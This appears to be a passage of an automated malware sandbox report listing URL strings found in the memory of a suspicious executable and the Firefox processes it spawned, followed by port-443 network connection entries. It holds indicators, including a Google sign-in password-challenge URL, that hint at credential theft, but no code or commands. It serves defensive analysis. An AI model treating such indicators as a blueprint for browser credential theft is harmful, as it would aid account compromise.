Source: firefox.exe, 0000001B.00000002.2472639943.000001BAB25E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: 805c374e44.exe, 0000000C.00000003.2147821946.00000000055D3000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2148362458.00000000055DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC060000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2396386534.000001BAAA8AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD5F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2370384899.000001C8AA9CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2369541245.000001A3BBFF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: firefox.exe, 0000001B.00000002.2472639943.000001BAB25E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001B.00000002.2472639943.000001BAB25E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: file.exe, 00000000.00000003.1590818540.0000000005C1A000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2134393020.00000000055F9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2260813134.000001BAB72C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2503061292.000007DA1BC04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2390476248.000001BA9F06B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2445624984.000001BAB000A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2481037928.000001BAB72B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC046000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2441868523.000001BAAFC1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2441868523.000001BAAFC1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2441868523.000001BAAFC28000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2375822851.0000002C1413C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001B.00000002.2496157306.000001BAB7777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2496157306.000001BAB7752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 805c374e44.exe, 0000000C.00000003.2134487280.00000000058E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2443474661.000001BAAFDE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: firefox.exe, 0000001B.00000003.2280377610.000001BAAFBB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2269772517.000001BAAFB30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2281877307.000001BAB76FD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2271188439.000001BAAFB58000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB0866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: 805c374e44.exe, 0000000C.00000003.2134487280.00000000058E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2443474661.000001BAAFDE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: 805c374e44.exe, 0000000C.00000003.2134487280.00000000058E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2443474661.000001BAAFDE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001B.00000002.2417867006.000001BAAD5F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: file.exe, 00000000.00000003.1591131507.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2134487280.00000000058E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2496157306.000001BAB77D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2443474661.000001BAAFDE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001B.00000002.2390476248.000001BA9F06B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgisInBrowserElement
Source: firefox.exe, 0000001B.00000002.2504157895.0000246FEC931000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2470374731.000001BAB2244000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001B.00000002.2472639943.000001BAB25E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2459823995.000001BAB1625000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2426918174.000001BAAEE5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001B.00000002.2432375917.000001BAAF73E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2459823995.000001BAB1625000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2504887224.00002B1706A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC07C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2485314442.000001BAB7493000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC046000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2472639943.000001BAB25A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2453306949.000001BAB0C3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2485314442.000001BAB7452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2367695365.0000000388C04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2437154355.000001BAAF91A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001B.00000002.2504157895.0000246FEC931000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009C9000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: firefox.exe, 0000001B.00000002.2459823995.000001BAB1625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: 805c374e44.exe, 0000000C.00000003.2087080774.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: firefox.exe, 0000001B.00000002.2481037928.000001BAB7223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2504887224.00002B1706A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC07C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2485314442.000001BAB7493000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC046000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2472639943.000001BAB25A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2433567468.000001BAAF842000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2367695365.0000000388C04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2478214034.000001BAB7053000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2437154355.000001BAAF91A000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2369541245.000001A3BBF0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2426918174.000001BAAEE5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001B.00000002.2444183628.000001BAAFE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 0000001B.00000002.2501986396.000005E7CE604000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 0000001B.00000002.2458125549.000001BAB1556000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2421494424.000001BAAE943000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD5A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2458125549.000001BAB156E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2472639943.000001BAB25A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2478214034.000001BAB7067000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2496157306.000001BAB7762000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2456845635.000001BAB1459000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001B.00000002.2456845635.000001BAB1425000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2472639943.000001BAB25A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2478214034.000001BAB7053000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001B.00000002.2414595795.000001BAAC932000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=ht
Source: firefox.exe, 0000001B.00000003.2260813134.000001BAB7282000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2389361860.000001BA9EC19000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2268082096.000001BAAF9E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2389361860.000001BA9EC10000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2470374731.000001BAB22B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2459823995.000001BAB16E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2485314442.000001BAB7493000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2481037928.000001BAB7282000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2432375917.000001BAAF7AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD508000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2400251497.000001BAAB1BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2478214034.000001BAB7067000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2452582358.000001BAB0B52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2437154355.000001BAAF9E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2478214034.000001BAB707F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2390476248.000001BA9F05E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2420769277.000001BAAE844000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2368246401.000001C8AA66A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2375635923.000001C8AAA04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000019.00000002.2183267508.0000019821738000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2193345449.00000270BC5B9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2389361860.000001BA9EC19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50141
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
